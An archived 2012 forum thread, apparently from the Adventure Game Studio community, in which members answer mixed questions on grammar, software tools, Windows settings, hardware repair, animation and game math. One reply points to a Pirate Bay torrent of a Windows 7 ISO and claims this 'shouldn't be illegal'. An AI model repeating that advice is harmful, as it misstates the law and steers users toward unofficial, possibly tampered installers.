Yeah. The grammatically correct way to say would be "He was a fish, wasn't he?"
Title: Re: Ask something - We can help.
Post by: Mati256 on 07 Aug 2012, 16:24
Thank you both. That was exactly what I was asking.
I knew what KodiakBehr explained, but I didn't knew why it was used like that.
Title: Re: Ask something - We can help.
Post by: Eric on 14 Aug 2012, 02:19
I don't know that grammar enters into the conversation. I find this sentence structure used most often in a narrative where the narrator wants to imply something to the audience without directly stating it, a sort of half dramatic irony. The tension between the two clauses creates suspense as the audience waits for the narrator to confirm what they've hinted. Such as:

"With the bomb finally disarmed, the room was safe to enter...or was it?"

The implication is that for the people of the story, the room seems safe to enter, but the narrator knows something they don't -- it might not be -- and is imparting that knowledge to the audience.

In the case of your example, you might hear the following in a news report on a serial killer:

"He was president of the PTA, a church deacon, a former high school football stand-out with a bright clean smile and an Ivy League degree. He was, for all intents and purposes, a model citizen...or was he?"
Title: Re: Ask something - We can help.
Post by: Snarky on 14 Aug 2012, 13:02
Yeah, there's nothing wrong with the sentence grammatically speaking. Any objections are stylistic. Some people might think this construction is overused or just sounds silly, or they might associate it with people they look down on (e.g. teenagers, journalists). But it's not nearly as faddish as the sarcastic "Not!" (e.g. "You look great. Not!") that was popular a few years ago.

As Eric sort of hints, Oliwerko's version actually means something quite different. "... Or was it?" implies that the speaker knows but isn't telling (for now); "wasn't it?" indicates that the speaker doesn't know for sure.
Title: Re: Ask something - We can help.
Post by: SinSin on 14 Aug 2012, 13:48
Hello folks.
         recently I have started dabbling with web design and have taken it upon myself to learn HTML5. Everythings going quite well although I do have one question . I am currently using Notepad++ but can anyone recommend another stand alone HTML editor which is free and has a WYSIWYG kinda layout. I only ask for free ones as Im a beginner and dont want to spend hundreds on programmes like Expression if I cant understand it.
Title: Re: Ask something - We can help.
Post by: Khris on 15 Aug 2012, 01:21
free wysiwyg html editor

Or are you looking for a specific recommendation?
Title: Re: Ask something - We can help.
Post by: SinSin on 15 Aug 2012, 07:53
If you can just have a look at the question I wrote again Khris you will note that I did insert the word "recommend". Now not to come across all harsh n stuff but is it any wonder that some people may feel that they cannot ask questions around here without having a belittling answer thrown straight in their face.. Seriously Iv lurked on these forums since 2005 and all I wanted was a recommendation and I get a not to witty smack down WTF has happened to this place ??
Title: Re: Ask something - We can help.
Post by: abstauber on 15 Aug 2012, 08:15
Well, you're already using a great tool. The rest depends on what you're doing - going for some javascript or maybe php? Then you might want an IDE.

Eclipse based IDEs:
http://www.aptana.com/ (good for javascript / web 2.0 stuff)
http://www.eclipse.org/proposals/php-ide/ (obviously php ;) )

Editors:
Beside Notepad++, there's also :
jEdit, which needs a few plugins to be usable for html
http://www.jedit.org/

This one is also pretty nice:
http://www.activestate.com/komodo-edit

In general I'd try to stay away from visual editors like Frontpage or Dreamweaver clones. But if you insist, you might find Kompozer useful
http://kompozer.net/index.php
Title: Re: Ask something - We can help.
Post by: Khris on 15 Aug 2012, 08:20
Sinsin:
Sorry, but I did consider the possibility that you're looking for a specific recommendation, if YOU will read MY post again.
Also, sometimes people just ask really dumb questions. If you think that a belittling answers is never ok, let's agree to disagree.

I use Notepad++ myself and I absolutely love it. That and Firefox, Firebug and F5 are really all I need.
Title: Re: Ask something - We can help.
Post by: SinSin on 15 Aug 2012, 08:32
Thankyou peeps.
       Like I say I'm not being shitty or owt just thought that I have seen loads of questions from trolls and other noobs which have fair enough warrented a reply like "RTFM". No beef with no one everyone stay cool.
I will browse these different links when I get home from work TA
Title: Re: Ask something - We can help.
Post by: Tuomas on 21 Aug 2012, 07:42
Hello dear forum,

I turn to you again on a stupid question, mainly because it should be obvious but isn't:

I bought a Dell laptop with a Windows 7 in it, which it installed immediately at startup, and set my location to Germany by default, since that's where I bought it.

I can't change my location, and this makes stuff like googling hell (I can't find any English or Finnish sites).

I heard I'd have to install Windows again anew, but I didn't get an install CD. I'm asking if you knew where I could find a bootable one. Windows 7 lets me return to the last functioning point and set to factory defaults, but all these points are *after* the installation, and what I need is a thorough format.

The MS site offers a solution if I have the CD, but doesn't say how to get it. So if anyone had an .iso or at least an idea or something. It seems all the threads I can find are at least a year old and offer no answers...
Title: Re: Ask something - We can help.
Post by: SinSin on 21 Aug 2012, 10:49
I'm sure you can change it without reinstalling. Try this

Click the circle window button ( Start.. or whatever they want to call it these days)
Click -- Control Panel
Click -- Clock, Language, Region
Click -- Region, Language
Go to Location Tab
Change Location etc.
Click Apply

DONE!! I hope 
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Post by: Khris on 21 Aug 2012, 10:56
Just get the iso as torrent; since you paid for the license, getting the CD is just a formality and shouldn't be illegal. Here's one: link (http://thepiratebay.se/torrent/7249899/Windows_7_Home_Premium_OEM)
Then get the Windows 7 USB tool (http://www.microsoftstore.com/store/msstore/html/pbPage.Help_Win7_usbdvd_dwnTool) to create a bootable thumbdrive so you don't have to burn it.
Title: Re: Ask something - We can help.
Post by: abstauber on 21 Aug 2012, 15:26
No need for a torrent, you can legally download the windows 7 isos from here
http://www.chip.de/artikel/Windows-7-Neu-installieren-mit-kostenlosem-ISO-2_46353200.html
Title: Re: Ask something - We can help.
Post by: Tuomas on 22 Aug 2012, 12:02
Thanks a bunch guys.

Sinsin: I am aware of such option, and it's already set for Finland, which is where I am, but it stills thinks I'm German and want to browse German sites. Sigh, I can't even open English versions of the Microsoft sites because my computer thinks I'm German, and won't give me an option.
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Post by: abstauber on 22 Aug 2012, 18:23
You're sure that this isn't a browser setting? In Firefox you can decide which language version of a website you prefer and I bet that this option is in IE as well.
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Post by: Wyz on 23 Aug 2012, 13:56
I don't know if it is what you are looking for but there is actually a way to get rid of the location in the google search engine.
Just visit this link: http://www.google.com/ncr
Title: Re: Ask something - We can help.
Post by: Tuomas on 24 Aug 2012, 19:19
I know it's not about the browser settings, I've been through them many times, and the same thing occurs with Firefox, Chrome and Opera.

Wyz. This seems to make a difference, although I'd rather that it changed the search into a Finnish one, when now the results are English, not a bad choise though. And the problem is, google's not the only thing thinking I'm German :D
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Post by: Wyz on 25 Aug 2012, 17:07
In that case you'll need to do this: Change the system locale (http://windows.microsoft.com/is-IS/windows7/Change-the-system-locale)

More important is that you'll need to set your location there.
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Post by: Snarky on 02 Sep 2012, 14:20
I'm looking for a tool to create a high-quality, cartoony looping wave animation with 3D reflections. The ones I've found are only able to do ripples; I want proper, choppy ocean waves. I'm assuming I'll need some kind of 3D app, but some guidance (w/ examples, if possible) would be appreciated.
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Post by: Anian on 02 Sep 2012, 14:56
I'm looking for a tool to create a high-quality, cartoony looping wave animation with 3D reflections. The ones I've found are only able to do ripples; I want proper, choppy ocean waves. I'm assuming I'll need some kind of 3D app, but some guidance (w/ examples, if possible) would be appreciated.
It'd be nice if you could give an example of something similar to what you want. You want a beach scene, or like a boat on the waves and realistic textures or cartoony ones?
Try looking through this http://www.cogfilms.com/tutorials/Blender-Seascape-Tutorial.pdf although by your description this is again not what you want. In Blender the thing should be called "Blender Ocean Sim" so find tutorials on that, otherwise it's the Fluid Simulator (but this will take some getting used to). I haven't actually been that much into Blender, so I'm not that familiar with it.

Other than those kind of waves, you'd probably have to go for a simulator of some sort (Cinema4d might have them, Houdini, or look within UDK (Unreal Development Kit), it might have a good renderer for waves and a tutorial). When you get the waves, then get the "cartoony" look with a shader. Most work is otherwise is done with texture animation, so no so much waves, but those ripples you mentioned.
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Post by: Snarky on 02 Sep 2012, 16:11
You can see the sort of waves I'm looking for here (http://footage.shutterstock.com/clip-640789-stock-footage-dark-ocean-waves-hd.html). There will be various objects casting light, which is why I want reflections. The cartoony part is less essential, and I can experiment with shaders and filters to get the effect I need.
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Post by: MJL on 04 Sep 2012, 00:46
Technology hates me. Anyone familiar with hardware, are you able to tell me what parts A, B and C are on this image of a hard drive?

Basically I plugged it into a faulty extension lead and subsequently this chip (A) inside it blew. I've trawled some threads but it's tiresome, so I'm hoping someone can just tell me straight out what I could otherwise spend 2 hours scrolling through in thread after pc tech thread. It's a Seagate Barracuda 7200 250gb. It still turns on and the light shows it's alive, but it's not spinning, PC won't recognise it, etc etc. Certain online help suggested if this "surge" were to occur then the diode would blow, but it seems that didn't happen on this occasion.

Is this salvagable? Something suggested simply replacing this chip with a bit of soldering, other things suggested it HAS to go into repair and that could cost hundreds. A friend said it's completely unsalvagable. It'd be useful to know. I think I read the largest chip is where all the data is stored, but wasn't able to verify that. I'm glad this external HD lasted me 5 years, gutted it broke this way - and there is some very important stuff on it. It's my backup drive. So now it's time to have a backup and a backup of a backup in the future :P

Pic is a bit blurry, I don't have a very good camera. Many thanks for any help! M

(http://i47.tinypic.com/b9ags5.png)
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Post by: Khris on 04 Sep 2012, 01:31
What you can do is find the exact same HDD model and replace the entire circuit board. I did that twice already and it worked fine both times. It's just a few screws and a flat cable, should take a few minutes tops.
They have them on ebay starting at ~35 Euros.
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Post by: Stee on 04 Sep 2012, 01:37
The chips normally have a serial number on them. Google it and hope to find a source for the parts.

Those components however are surface mounted, so you would either have to have a machine or an insane amount of soldering skills to replace that chip. That's even if it is that chip that is dead for certain.

Also I was under the impression you could swap the circuit boards on hdd's as long as they are like for like the same model.

If it's all that important to you, I'd just bite the bullet and get a pro to fix it for you. If it's a genuine backup drive and you are backing up properly it should be redundant anyway as long as the original drive is still functional.

Invest in a surge protector too. It's possible that's what killed your last drive too, and it will randomly kill other components in your pc. Seems to be loads of dirty power in the south
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Post by: MJL on 04 Sep 2012, 01:55
Thanks for the info guys, I like the idea of getting another one of the same spec and replacing that circuit board, seems easy enough, never thought of that as a possibility :)

Unfortunately the burn mark goes right across the serial number, it's unreadable. Cheers for the ideas!
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Post by: Snarky on 04 Sep 2012, 04:09
I think I read the largest chip is where all the data is stored, but wasn't able to verify that.

Well, that bit is certainly not true. Hard disks store the data on magnetic platters (disks), not in chips.
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Post by: Anian on 04 Sep 2012, 11:53
You can see the sort of waves I'm looking for here (http://footage.shutterstock.com/clip-640789-stock-footage-dark-ocean-waves-hd.html). There will be various objects casting light, which is why I want reflections. The cartoony part is less essential, and I can experiment with shaders and filters to get the effect I need.
OK, that's not that bad, what you need to look for is animated bump textures or just regular animated textures, because that's basically a plane. The "reflectiveness" comes from the glossiness of the surface. This should be something you'd need:

You can even put a boat on it:
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Post by: Snarky on 05 Sep 2012, 11:03
Thanks Anian. I definitely can't just use a "regular animated texture" (I need the reflections of other objects in the scene to follow the wave geometry), but the videos you link, and other YouTube examples of Blender with and without Ocean Modifier, look promising.

Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.
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Post by: Anian on 05 Sep 2012, 13:19
Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.
...well if it's like an island in the sea, then you just make a simulation of say 30 seconds, copy it and reverse it back to front (in reverse) - those 2 parts combined make a 1 minute loop. :grin:
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Post by: Snarky on 05 Sep 2012, 14:08
...but then every 30 seconds the animation is going to suddenly reverse, and I have to think that's going to be pretty noticeable.  :-\

Thanks for the help, though!

<--- I'm not actually a Mittens Founder, btw.
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Post by: Eric on 05 Sep 2012, 18:10
If you take a closer look at the video you shared, it's kind of doing just that. Those ripples roll to and fro, but they have a separate horizontal movement.
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Post by: Ali on 05 Sep 2012, 22:05
Thanks Anian. I definitely can't just use a "regular animated texture" (I need the reflections of other objects in the scene to follow the wave geometry), but the videos you link, and other YouTube examples of Blender with and without Ocean Modifier, look promising.

Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.

In the case of that tutorial there is. You set the displacing texture to be controlled by an object, then rotate the object causing the displacement to ripple in a cyclical fashion.

It is much easier to create an ocean effect in newer versions of Blender because of the built-in ocean modifier. Those tutorials are pretty old. However looping doesn't seem possible with the new modifier, unfortunately.

In case you're not used to Blender, here's a quick example: http://ali.agser.me/seademo.blend
The built-in sim is on the right, and the loopable version is on the left. When you see them move, it's clear that the left requires a lot of tweaking to get a good effect.
(http://Ali.agser.me/sea.jpg)

EDIT: I mean the cogfilms tutorial is pretty old but loopable. I didn't see Anian's youtube links.
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Post by: OneDollar on 10 Sep 2012, 21:16
I've found free software to cover almost everything I want to do with my PC, but I can't find a decent free video editor. There seems to be a few programs for Linux and Mac but not many for Windows. Those that do run on Windows are either unfinished, unstable, low on features or don't support many file formats.

I'd like to be able to have multiple video and audio streams, mask video, speed up/slow down video and audio, and obviously cut video and audio up and move it around. All while being able to preview in realtime. So, you know, not much.

Does anyone know any free software that runs on Windows that would do all that? Or failing that, anything out there that's cheap that people would recommend?
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Post by: Eric on 10 Sep 2012, 23:44
Sort of related to the previous question...I'm getting the final component of a new PC tomorrow. What are the essential programs for you guys? Free, paid, shareware (does that phrase even still mean anything?), whatever. What keeps you productive and happy? What would you load on a new computer?
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Post by: Ali on 10 Sep 2012, 23:55
I've found free software to cover almost everything I want to do with my PC, but I can't find a decent free video editor. There seems to be a few programs for Linux and Mac but not many for Windows. Those that do run on Windows are either unfinished, unstable, low on features or don't support many file formats.

I'd like to be able to have multiple video and audio streams, mask video, speed up/slow down video and audio, and obviously cut video and audio up and move it around. All while being able to preview in realtime. So, you know, not much.

Does anyone know any free software that runs on Windows that would do all that? Or failing that, anything out there that's cheap that people would recommend?

I think Lightworks is one to watch: http://www.lwks.com/

It's been around for years, but the open source version is still in the early stages. I haven't tried the latest release, however the last version suffered from a bad case of 'Unique Working Method'. If you've used Avid you will be OK, if you've used Premier or Final Cut (or any normal computer programs) it will take some getting used to. Blender had the same problem when I started using it, but has become much more accessible, so I hope Lightworks will achieve something similar in time.
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Post by: Anian on 13 Sep 2012, 16:52
A weird question that kind of bugs me and I don't even know how I'd look up such a thing:
is there like an unnamed class of people that co-write books with authors, and by books I mean stuff like fantasy or sf book series (stuff like Song of fire and ice, Stephen Kinds works etc.)? I'm not trying to say those people are hacks or anything it's just that the size of the books just seems like too much for 1 person, to write 600 pages in 6 or such months. And plus there's a lot of editing to be done (not only does it have to be edited but read a few times as well and I doubt you can speed read through books and edit them at the same time) on top of that, I'm sure books get rewritten in this process more than a few times, plus printing and distribution, all that takes time and it just seem weird to me people can write that fast and make it coherent.
There are ghost writers that help write biographies, but that's for people who are not writers themselves, and I know there are writer's assistants who help with continuity and such, but still I think it's not far fetched to think there are people who co-write.
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Post by: Eric on 13 Sep 2012, 17:51
I'd say what you're describing is a ghost writer, which is any situation where work was contributed by an uncredited author. Sometimes they work from outlines that the author provides. Sometimes, they can be brought in for specific elements, like polishing a draft, or writing descriptions of place that the author might then go back and adjust stylistically. Sometimes -- I don't know about Martin, but certainly Tom Clancy and most of the major mystery writers -- a ghost writer will write the whole damn book with little input from the author, but publish under the author's name to take advantage of the brand. Editors for major authors also do a lot more behind the scenes than the public gives them credit for.
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Post by: InCreator on 22 Sep 2012, 13:16
Okay, I need some programming/math help again:

Circular/spiral motion

I want something to move along circle, or even better, a spiral that moves in a direction and gets smaller.
Imagine smoke clouds or fallen leaves in a wind, as they roll and make smaller and smaller circles as they move away.
Can anyone help me with some pseudocode as what formula would change X and Y of the smoke/leaf/whatever to get such motion?

Since it's pretty clear that trigonometric function (sin/tan/etc) lies in this problem somewhere, I'm at loss.

Epic mspaint to illustrate:
(http://i.imgur.com/AURty.png)

Spiral as described would be awesome but I guess I could work circle (with variable-adjusted radius) to become spiral also.
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Post by: Khris on 22 Sep 2012, 16:46
Code:
Code: Adventure Game Studio
  1. int t;
  2. float r;
  3.  
  4. float fx(int tp) {
  5.   float ft = IntToFloat(tp);
  6.   return ft/5.0 + Maths.Sin(Maths.DegreesToRadians(ft))*r;
  7. }
  8.  
  9. float fy(int tp) {
  10.   float ft = IntToFloat(tp);
  11.   return 100.0 + Maths.Cos(Maths.DegreesToRadians(ft))*r;
  12. }
  13.  
  14. bool first = true;
  15. int old_x, old_y;
  16.  
  17. function room_RepExec()
  18. {
  19.   DrawingSurface* ds = Room.GetDrawingSurfaceForBackground();
  20.   ds.DrawingColor = 16;
  21.   r = 50.0 - IntToFloat(t)/50.0;
  22.   int x = FloatToInt(fx(t), eRoundNearest);
  23.   int y = FloatToInt(fy(t), eRoundNearest);
  24.   if (first) {
  25.     first = false;
  26.     ds.DrawPixel(x, y);
  27.   }
  28.   else ds.DrawLine(old_x, old_y, x, y);
  29.   ds.Release();
  30.   t += 3;
  31.   old_x = x;
  32.   old_y = y;
  33. }

Result:
x1 x2 x3 x4
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Post by: InCreator on 22 Sep 2012, 18:03
Thanks mate, I can use this :)

E: Boy, AGS sure makes simple things look complicated. Here's how I do this in Game Maker (adjusted for looks and minus line drawing)
No defining functions, anything

ft+= 4;
t+= 9;
r = 50 - t/50;
xoff =  round(100 + sin(degtorad(ft))*r);
yoff =  round(100 + cos(degtorad(ft))*r);
x = mouse_x + xoff;
y = mouse_y + yoff;
Title: Re: Ask something - We can help.
Post by: Khris on 23 Sep 2012, 19:59
It's not that much more complicated, I just created the coordinate functions separately to show the math involved.
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Post by: Nikolas on 02 Oct 2012, 21:16
Say...

I'm looking to start creating newsletter for the publishing house. WEBSITE LINK HERE (http://www.musica-ferrum.com)

Two questions:

1. I'm almost in love with the general graphics of the site and the logo and all. I think the website works great. So it's reasonable to want to use a template that's very close to that, right? Or should I strive away from this aesthetic?

2. After searching for quite some time for a newsletter template, I couldn't find one that fits the bill, nor one that is so customisable that I can input my own images completely. Tried a few sites. How difficult is it for someone to create a mockup of a newsletter in PS (I don't know photoshop, and have rather limited knowledge of gimp) and/or create the first newsletter as some kind of a template that I can edit later on with new text and images? Am I asking too much, or taking the difficult route home?

Cheers
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Post by: OG on 03 Oct 2012, 02:02
Hi Nikolas

The website looks quite good, the web designer may want to consider formatting the text on the composer pages a bit differently though. Something a bit tidier?

1. It's reasonable. Just remember that less is more. And as far as newsletters are concerned, as I am sure you will know, try and find an even mix of image and text. Otherwise you'll just end up with a less than interesting jumble of words or a lot of nice pictures with what can appear like a lacking of content.

2. My advice would be to get a copy of Adobe Indesign (or a portable version). It's the best in the business for things like that. It allows you to set your page size, margins, text/ picture columns and once you figure out your typical layout it's easy then to just go in and edit it for the next edition etc... Allows for good consistency. Doing it in Photoshop would be a terrible idea.
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Post by: hzibadel on 07 Oct 2012, 07:04
Hello everyone, i am just starting AGS but i really wanna play the game that is shown on the front page of AGS site where the download button is there, is seems so cool, please let me know the name of game

thanks
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Post by: MJL on 12 Oct 2012, 14:20
If someone has a moment to check, can sound recorder in Vista/Win 7 be made to record at a sample rate higher than 96kbps and to formats other than .WAV ? I have XP & the old version, so I'm not sure, but am trying to find out on someones behalf. Many thanks :)
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Post by: Anian on 12 Oct 2012, 15:01
If someone has a moment to check, can sound recorder in Vista/Win 7 be made to record at a sample rate higher than 96kbps and to formats other than .WAV ? I have XP & the old version, so I'm not sure, but am trying to find out on someones behalf. Many thanks :)
In W7 it's .wma 96kbps. It basically has 1 button to operate.
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Post by: MJL on 13 Oct 2012, 11:24
Thanks Anian! Silly poop. Oh well, I've sent the person in question a free audio app.
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Post by: Ryan Timoothy on 14 Oct 2012, 03:45
[..] Pic is a bit blurry, I don't have a very good camera. [..]

(http://i47.tinypic.com/b9ags5.png)
This is a little outdated but I want to bring this up in case this were the issue. I know of a lot of people who take photos in low light with their digital cameras and it turns out as blurry as this. Most people in this situation don't know that they have to press the capture button halfway down until it auto-focuses on something (turning on the auto-focus light if there is one), then you fully press it.

But you're pretty tech savvy with filming and such so it's likely not the case, I just thought I'd mention it (because I've never had a photo that blurry unless I've not done what I've mentioned - even with my very first digital camera like 10 years ago or more - which was a giant piece of garbage).
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Post by: Calin Leafshade on 14 Oct 2012, 04:30
That is not a lens blur, its a motion blur.

In low light the shutter has to be open longer to receive more light which means its more vulnerable to the shake of a persons hand. Its not the lens being out of focus.
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Post by: Ryan Timoothy on 14 Oct 2012, 06:06
Of course. I'm not a camera guru but I've had my share of low light motion blurring like this only when i don't press down on the capture button half way to allow it to focus and determine light levels and the other funky stuff it does.
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Post by: Eric on 14 Oct 2012, 07:44
That is not a lens blur, its a motion blur.

In which case, I find it's beneficial to prop an elbow on something while taking the picture. Cheap monopod.
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Post by: cat on 14 Oct 2012, 08:28
Or put the camera on a shelf or table and use the self-timer.
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Post by: selmiak on 14 Oct 2012, 13:12
I actually kind of like the blurryness in the picture, it seems to give it some more meaning and expression! Especially the hard contrast with the unmoving sharp letters that are also in a contrasting color. It's like the whole world is explained in this picture, like everything is moving and in a hurry and there are only very few constants in life!
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Post by: MJL on 14 Oct 2012, 14:02
Haha, interesting point Ryan! It's the same digital camera I've had for 12 years. Not a lot of it works anymore, especially the flash ;) Also where I point the lens is not what it takes the picture of, so the blur is my handshake and also trying to guess what I'm taking a photo of, because the LCD preview screen doesn't work either. It's basically a pile of crap and the photo reflects that perfectly..!! I really really need to buy a new digi cam :P
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Post by: Mati256 on 23 Oct 2012, 01:18
Once again, I came to you to explain me something.
I have to pay something with an electronic invoice sent by email.
The thing is, this is my first time with electronic invoices. How do I pay them? ???
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Post by: Crimson Wizard on 27 Oct 2012, 16:18
Awww, that's pretty silly.
Can someone tell me, where can I download AGS 2.62, or, at least 2.62 manual?
I need to know how certain things worked before object-oriented methods were introduced.
Title: Re: Ask something - We can help.
Post by: nihilyst on 27 Oct 2012, 16:59
Is this okay? (http://www.longwayhome.de/zeug/ags.chm)
I think it’s the 2.62 manual.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 27 Oct 2012, 17:15
Is this okay? (http://www.longwayhome.de/zeug/ags.chm)
I think it’s the 2.62 manual.
Yes, thank you.
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Post by: selmiak on 27 Oct 2012, 23:55
in case you still want the full AGS version, the maniac mansion mania wiki (http://wiki.maniac-mansion-mania.de/wiki/AGS) has a lot of different versions archived :)
(scroll down to downloads)
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Post by: Crimson Wizard on 28 Oct 2012, 01:06
0_0 I wished I knew that before. Thank you too!
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Post by: Domino on 30 Oct 2012, 22:14
http://www.circuitcity.com/applications/searchtools/item-details.asp?EdpNo=1164992&SRCCODE=CCLET14ORDER&cm_mmc=Email-_-WebletMain-_-CCLET14ORDER-_-order

I have had this computer for over a year now. Recently when I go to power it on I get one short beep, followed by a long beep. I have read this as bad memory but i tried another memory stick and it still beeps at me. Some days the computer will not start and keeps beeping at me, and other times after about 20 minutes of powering on and off it will start right up like normal.

When it finally boots up, the computer runs like there is no problem. But if i try to start it up the next day i get the same beeps. I am really confused at what is going on, and why it won't work for hours then finally work.

I have noticed that the colder my apartment is, that the computer will not boot at all, unless i put a heat source near it. I am stumped.

Shawn
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Post by: Anian on 30 Oct 2012, 22:37
If it's only been a year, then go let the warranty techs take care of it. Quickest way I think, just get it to work once and copy essential stuff to usb or a mobile hdd (documents, maybe saved passwords etc.).

Even if it's something hardware related they'll probably have to test it when you bring it there and you'll just lose time diagnosing it.
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Post by: Khris on 30 Oct 2012, 22:40
The first thing I'd try is replacing the power supply. They're pretty cheap (though you should consider getting a not so cheap one) and it sounds like yours is currently dying of consumption.
A friend of mine had to do the old powering on and off to get his PC to work and the problem disappeared once got a new power supply.

I have this one (http://www.xigmatek.com/product.php?productid=165&type=specification); it was 50€ and it's pretty quiet and most important of all delivers a steady 500 Watts.
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Post by: Domino on 30 Oct 2012, 22:46
Thanks for all your input. I had purchased another back-up computer, but it crapped out on me and is being shipped back for a refund.

Shawn
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Post by: RoliX on 02 Nov 2012, 17:40
Hello,

I need somebody with decent english knowledge! :)
I wrote a short letter to my english class and I need somebody to read it and fix some grammer mistakes. It's very short, I think you can read it in 1-2 minutes.
If you can help, please PM me!

Thank you very much! :)
Title: Re: Ask something - We can help.
Post by: Babar on 02 Nov 2012, 19:01
Unless it is something private, I'm sure you can just post it in here.

Unless you're trying to get us to do your homework for you!
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Post by: Nikolas on 04 Nov 2012, 22:00
Well... it appears that he is trying to get us to do his homework, but anyhow... We're kind enough... Go ahead post away!
____________________________________

Now, on my problem.

I'm an idiot. There...

I did a survey a couple of years ago, which can be found here: https://spreadsheets.google.com/viewform?formkey=dHJEbHNvMmQzYUhHVWRKMHBncmR6Q3c6MQ The survey is alive, so it's still collecting date!

HOWEVER, I'm NOT sure with which account I made it happen, and none of my current accounts has the right file (google docs). I'm wondering if there's a way to see which email I used to create this and then I can recover the password and all that...

Hilfe?
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Post by: selmiak on 05 Nov 2012, 01:58
*uses internet shoppping for FURNIOTURES and get srejected from the sourvey!*
ohm man I'm feeeeeling so rejected on my opionions on modern shopping .. shop more onions!!!
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Post by: Ali on 06 Nov 2012, 11:38
A flash animation question from someone more used to After Effects: I'm using the motion editor in CS5.5 and I want to adjust the keyframe type (smooth/corner) for the X property of a symbol but not the Y or Z property.

I can't seem to do it. They are linked and I can't find an option to unlink them. Surely it's possible?
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Post by: DoorKnobHandle on 10 Nov 2012, 10:42
Do we have people here at least somewhat experienced in/familiar with composing music for orchestras? If so, let me know please, I have a couple of questions!
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Post by: Nikolas on 10 Nov 2012, 14:42
Do we have people here at least somewhat experienced in/familiar with composing music for orchestras? If so, let me know please, I have a couple of questions!
Oh come on...

I still frequent this forums, even in silence...

Just PM me with any questions you may have and I'll do my best to reply in a speedy manner! ;)
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Post by: DoorKnobHandle on 10 Nov 2012, 15:15
Sweet, PM sent! Thanks!
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Post by: bicilotti on 12 Nov 2012, 05:33
I just broke my nth pair of earbuds and am pretty pissed off (to elaborate a bit: right earbud sound went off). I read on the net that this problem is pretty common.
This weekend I am going to shop for a new pair, I would like to buy something that will last me more than six months without breaking: do you know of sturdy earbuds? Is it a good idea to buy bluetooth ones (the rationale being that the cable is the weakest part of ordinary earbuds)?
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Post by: Calin Leafshade on 12 Nov 2012, 14:11
I like Shure earbuds.

http://www.shure.com/americas/products/earphones-headphones/se-earphones

Expensive but they have detatchable cables and a 2 year warranty.
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Post by: InCreator on 27 Nov 2012, 23:51
Simple and quick:

(http://i.imgur.com/qqeBa.png)
What's the formula for this graph?
y = ...?

What for:
to change the value of a variable from 1 to 0 as represented with this curve in a for-loop - starting off slowly, then quicker, and then slowing down again. Note that X goes steady +1 in every cycle.

P.S. I hate every math teacher I had: stuffing my young brain with this crap BEFORE I actually got into game making and found actual use for it. And now I don't remember squat.
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Post by: Anian on 28 Nov 2012, 00:31
*rant*I hated my math teachers (the one in grammar school was basically eyeing the girls and the one in college would make it all seem clear in class but when you got home it dawns on you that you don't understand anything) and my music teachers - the one in elementary school was drunk 90% of the class and the one in grammar school was teaching advanced stuff along with dictating every detail of a composers lives which was mostly irrelevant to music). It was mostly me being uninterested in math and music theory, but they're the ones that kept it uninteresting. :grin:
*/rant*

So anyway, I suck at math, but wouldn't you need a cosinus curve y=cos2x (that way it has the value of y=0 when x=pi/2). Now to get all the values positive, you cut y in half y=0.5cos2x (you make the amplitude half so it goes from +0.5 to -0.5)  and then add 0.5 to make it all postive so y=(0.5 cos 2x) + 0.5

That'll make it so when x=pi/2 y=0, but we need x=1 and y=0 so maybe we multiply x with 2/pi so in the end it should be y=(0.5 * cos(4/pi*x)) + 0.5
I'm sure somebody is better at math than moi, but it does feel good to get the brain working a bit.
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Post by: selmiak on 28 Nov 2012, 10:22
looks good.
To have the minimum at 1 you use
y=(0.5 * cos(pi*x)) + 0.5
for every other userdefined value for when the curve reaches 0 use
y=(0.5 * cos(pi*x/(x_value_for_touching_zero))) + 0.5
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Post by: InCreator on 28 Nov 2012, 12:32
Nice, my little tile-based light engine (sort of) works now.
Edge falloff still feels rough, but I don't think formula's to blame, but redrawing same area
(http://i.imgur.com/V2DFC.png)

E: Yeah, a bit of adjustment and it's perfect.
(http://i.imgur.com/iv7Mc.png)
Thanks!
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Post by: bicilotti on 28 Nov 2012, 14:18
Thanks!

Looks nice, but I wonder: it is efficient? will it scale gracefully?
Once you found a 'perfect' value for all the parameters you might want to apply something like Taylor's approximation (https://en.wikipedia.org/wiki/Taylor_series). Just computing sin and cos lookup tables would help.
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Post by: InCreator on 28 Nov 2012, 14:43
Wikipedia gives me headaches. I cannot understand a symbol on this page :(

Anyway, given that "engine" was just few creatively wasted hours on experimenting, I think it turned out pretty lovely :)

&feature=youtu.be
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Post by: Nikolas on 28 Nov 2012, 18:06
Hello,

I'm baffled beyond belief! I have 2 hours of video in avi format (which isn't quite a format, but whatever right now)... The video plays fine on both my computers,in VLC and in chrome (just tried it), but does NOT work in premier, or after effects, or windows movie maker (!!!!). They just grab the audio.

I've uploaded a small file (6 MB more or less) here: www.nikolas-sideris.com/AGS/avi.avi

If someone (or more) could download, take a look and tell me what the heck is wrong and how to fix it, I'd appreciate it hugely!

Thanks!
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Post by: selmiak on 28 Nov 2012, 18:30
works fine in AE CS4 and VLC. Firefox stutters on it when played directly in the browser.
not that it should matter for adobe video editing software but I'd try reencoding it to xvid as this is the standard basic avi codec (with worse compression and more artifacts than avc h264 but maybe it works).
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Post by: Nikolas on 28 Nov 2012, 20:02
How can I do that? I can't import it to premier to convert it... Any converters in mind, please? And huge thanks mate! Your will to help me out is quite touching (honestly, I mean that)
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Post by: Gilbert on 29 Nov 2012, 01:32
Since it works in VLC, you can convert it with VLC. Find "Convert/Save" from the file menu or press Ctrl-R and see whether you have an appropriate encoding codec installed which your editing suite can handle.
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Post by: MJL on 29 Nov 2012, 02:26
whats the ags irc server, irc.adventuregamestudio.co.uk is not working for me, and I need to speak to hajo
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Post by: Tabata on 29 Nov 2012, 02:41
irc.dasjoe.de should work  (nod)
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Post by: MJL on 29 Nov 2012, 02:47
thanks! Didn't know it had moved... I had an email problem but had an idea as you replied, and it seems to be working now. I know a couple of peeps tried to email me today, that was my fault, it should work now - spam has certainly started coming through again. I'd had a massively productive day and did one out of the ordinary thing (played with mail settings) in an attempt to be more productive before bed. But obviously led to the opposite  :-D
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Post by: Ryan Timoothy on 29 Nov 2012, 05:42
Hey.

